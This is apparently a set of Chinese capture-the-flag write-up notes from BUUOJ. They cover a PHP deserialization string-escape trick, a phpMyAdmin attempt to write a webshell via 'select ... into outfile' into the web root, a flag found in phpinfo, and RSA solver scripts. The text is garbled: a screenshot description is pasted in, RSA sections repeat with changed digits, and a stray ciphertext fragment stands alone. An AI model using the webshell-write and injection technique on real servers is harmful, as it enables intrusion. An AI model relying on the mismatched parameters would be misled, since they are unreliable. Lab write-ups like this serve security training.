也就是在最前面加了个引号，闭合前面序列化生成的引号，然后将我们的payload序列化为CtrlCase的值，这样反序列化时就能成功反序列化我们的payload，这个修改后的payload长度为466，所以我们将这个payload前面加466个union，原本序列化字符时，总长度为466\*2\*5=4660，也就是{s:3:"age";N;s:8:"nickname";s:4660:，经过safe()后，union被替换为hacker，总长度就是为4660，再加上我们用 " 进行了闭合，所以nickname的值就为466个hacker，我们的payload就成功逃逸。

最终payload





The screenshot shows the phpMyAdmin interface with the 'Server Information' tab selected. The table below lists various server parameters:

HTTP UPGRADE INSECURE REQUESTS	1
HTTP CACHE CONTROL	max-age=0
PATH	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER SIGNATURE	<address>Apache/2.4.25 (Debian) Server at node3.buuoj.cn Port 28239</address>
SERVER SOFTWARE	Apache/2.4.25 (Debian)
SERVER NAME	node3.buuoj.cn
SERVER ADDR	173.233.67.9
SERVER PORT	28239
REMOTE ADDR	173.233.67.2
DOCUMENT_ROOT	/var/www/html
REQUEST SCHEME	http
CONTEXT_PREFIX	no value
CONTEXT_DOCUMENT_ROOT	/var/www/html
SERVER ADMIN	webmaster@localhost
CONTROL	IP FILENAME
	/var/www/html/index.php

Below the table, a search bar shows 'root' and '高亮全部(A) 区分大小(C) 匹配变音符号(I) 匹配词句(W) 第 2 项, 共找到 35 个匹配项'. The browser's developer tools are open to the 'Cookie' tab, showing a 'Cookie' table with the following entries:

名称	值
phpMyAdmin:	httpOnly: true path: '/' value: *c7fa71ae68552ed8967ed8a228e90b47*
请求 Cookie	phpMyAdmin: *c7fa71ae68552ed8967ed8a228e90b47* pma_lang: zh_CN

Red arrows in the original image point to the 'CONTEXT\_DOCUMENT\_ROOT' value in the phpMyAdmin table and the 'phpMyAdmin' cookie value in the browser's developer tools.

然后写shell

```
select '' into outfile '/var/www/html/1.php'
```

发现写不了

原来flag就在PHP info中

## Environment

Variable	Value
APACHE_LOG_DIR	/var/log/apache2
LANG	C
HOSTNAME	web
APACHE_CONFDIR	/etc/apache2
APACHE_LOCK_DIR	/var/lock/apache2
PHPIZE_DEPS	autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
GPG_KEYS	1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2D6021E995DC9FF8D3EE5AF27F
PHP_EXTRA_CONFIGURE_ARGS	--with-apxs2
PHP_ASC_URL	https://secure.php.net/get/php-7.2.5.tar.xz.asc/from/this/mirror
PHP_CFLAGS	-fstack-protector-strong -fpic -fpie -O2
PHP_EXTRA_BUILD_DEPS	apache2-dev
PWD	/var/www/html
PHP_LDFLAGS	-Wl,-O1 -Wl,--hash-style=both -pie
APACHE_RUN_GROUP	www-data
APACHE_RUN_DIR	/var/run/apache2
PHP_INI_DIR	/usr/local/etc/php
PHP_URL	https://secure.php.net/get/php-7.2.5.tar.xz/from/this/mirror
APACHE_ENVVARS	/etc/apache2/envvars
PHP_CPPFLAGS	-fstack-protector-strong -fpic -fpie -O2
APACHE_RUN_USER	www-data
FLAG	flag{7bf8d94c-7042-4b05-a77f-1f3d619d7aa6} ←
PHP_VERSION	7.2.5
APACHE_PID_FILE	/var/run/apache2/apache2.pid
SHLVL	0
PHP_MD5	no value
PATH	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_SHA256	af70a33b3f7a51510467199b39af151333fbbe4cc21923bad9c7cf64268cddb2

<https://blog.csdn.net/meteorx>

crypto

[BJDCTF 2nd]cat\_flag



```
01000100
01001010
01000100
01111011
01001101
00100001
01100001
00110000
01111110
01111101
```

```
import binascii
print(binascii.a2b_hex(hex(int('0100010010010100100010001111011010011010010000101100001001100000111111001111101',2))[2:]))
```

## RSA

### RSA加密流程

选取两个较大的互不相等的质数 $p$ 和 $q$ , 计算 $n = p * q$ 。

计算 $\phi = (p-1) * (q-1)$ 。

选取任意 $e$ , 使得 $e$ 满足  $1 < e < \phi$  且  $\gcd(e, \phi) == 1$ 。

计算 $e$ 关于 $\phi$ 的模逆元 $d$ , 即 $d$ 满足 $(e * d) \% \phi == 1$ 。

加解密:  $c = (m ^ e) \% n$ ,  $m = (c ^ d) \% n$ 。其中 $m$ 为明文,  $c$ 为密文,  $(n, e)$ 为公钥对,  $d$ 为私钥, 要求  $0 <= m < n$ 。

```
import gmpy2
p=473398607161
q=4511491
e=17
phi=(p-1)*(q-1)
d=gmpy2.invert(17,phi)
print(d)
```

## rsarsa

Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for the RSA algorithm.

```
p =
964842302901051567659055174001042653494573763923573980064398935203985250729849139956103500916342705037
0107570733633350911691280297777160200625281665378483

q =
118748438379802970320924058486536568527609101545433809076500401907042833589092085782510630477324439922
30647903887510065547947313543299303261986053486569407

e = 65537

c =
832082989951746041747735902982036393605400248712561268928896613457424033149298619391004926666056473166
465764865262174570063768422808697285817267464015837058999417682141387422596893348407356335530538876418
476511737762518202930872128856701803674068074067659236389731613758173927377478327627516901044238690190
34
```

Use RSA to find the secret message

```
import gmpy2
p = 964842302901051567659055174001042653494573763923573980064398935203985250729849139956103500916342705037
0107570733633350911691280297777160200625281665378483
q = 118748438379802970320924058486536568527609101545433809076500401907042833589092085782510630477324439922
30647903887510065547947313543299303261986053486569407
e = 65537
c = 832082989951746041747735902982036393605400248712561268928896613457424033149298619391004926666056473166
46576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651
173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi=(q-1)*(p-1)
n=p*q
d=gmpy2.invert(e, phi)
print(pow(c, d, n))
```

## RSA1

```
p =
863763376725700856709965348654109117132049150943361544753916243791124417588566780639841179052408355344
5158113502227745206205327690939504032994699902053229

q =
126406749739964727691760479371708834209270508214800105815931371353724738805956137373376306297525773461
47039284030082593490776630572584959954205336880228469

dp =
650079570221683462110904235119326153065004384105625293093094966335862501688183284072806602615026469307
6109354874099841380454881716097778307268116910582929

dq =
783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963
002175438762767516968043599582527539160811120550041

c =
247223054038873820735673164676490806626315529059602293990791079956021544181760563358006388875276141640
735304376570850796761573502053519452229893513160764865735995760419783398722659250627643185360890073102
702785261596789374319038628924007479155251189839599706079341429747366757843259934459420313721073421038
52
```

```
68928896613457424033149298619391004926666056473166465764865262174570063768422808697285817267464015837058999
41768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161
375817392737747832762751690104423869019034
```

Use RSA to find the secret message

```
import gmpy2
p = 964842302901051567659055174001042653494573763923573980064398935203985250729849139956103500916342705037
010757073363335091169128029777160200625281665378483
q = 118748438379802970320924058486536568527609101545433809076500401907042833589092085782510630477324439922
30647903887510065547947313543299303261986053486569407
e = 65537
c = 832082989951746041747735902982036393605400248712561268928896613457424033149298619391004926666056473166
46576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651
173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi=(q-1)*(p-1)
n=p*q
d=gmpy2.invert(e,phi)
print(pow(c,d,n))
```

## RSA1

```
p =
863763376725700856709965348654109117132049150943361544753916243791124417588566780639841179052408355344
5158113502227745206205327690939504032994699902053229
q =
126406749739964727691760479371708834209270508214800105815931371353724738805956137373376306297525773461
47039284030082593490776630572584959954205336880228469
dp =
650079570221683462110904235119326153065004384105625293093094966335862501688183284072806602615026469307
6109354874099841380454881716097778307268116910582929
dq =
783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963
002175438762767516968043599582527539160811120550041
c =
247223054038873820735673164676490806626315529059602293990791079956021544181760563358006388875276141640
735304376570850796761573502053519452229893513160764865735995760419783398722659250627643185360890073102
702785261596789374319038628924007479155251189839599706079341429747366757843259934459420313721073421038
52
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